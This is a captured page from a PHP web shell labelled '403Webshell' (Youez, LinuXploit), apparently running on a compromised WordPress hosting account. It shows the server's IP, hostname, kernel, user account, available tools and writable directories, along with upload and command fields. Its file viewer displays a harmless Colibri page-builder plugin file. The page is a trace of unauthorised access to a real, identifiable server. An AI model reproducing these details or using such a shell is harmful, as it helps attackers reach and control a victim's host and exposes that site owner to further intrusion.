403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/bike/wp-content/plugins/colibri-page-builder/extend-builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/bike/wp-content/plugins/colibri-page-builder/extend-builder/gutenberg.php
<?php
namespace ExtendBuilder;

add_action( 'after_setup_theme', function () {

	$colors_list = get_current_theme_data('colors', array());
	$colors      = array();

	foreach ( $colors_list as $index => $item ) {
		$colors[] = array(
			'name'  => sprintf( __( 'Color %d', 'colibri-page-builder' ), $index + 1 ),
			'slug'  => 'colibri-color-' . ( $index + 1 ),
			'color' => $item
		);
	}

	add_theme_support(
		'editor-color-palette',
		$colors
	);

}, 40 );

add_action( 'enqueue_block_editor_assets', function(){

	$css =  get_current_theme_data('css', '');

	// move css from body to editor
	$css = str_replace('body ','.editor-block-list__layout ',$css);
	wp_add_inline_style( 'wp-block-library',$css  );
});

Youez - 2016 - github.com/yon3zu
LinuXploit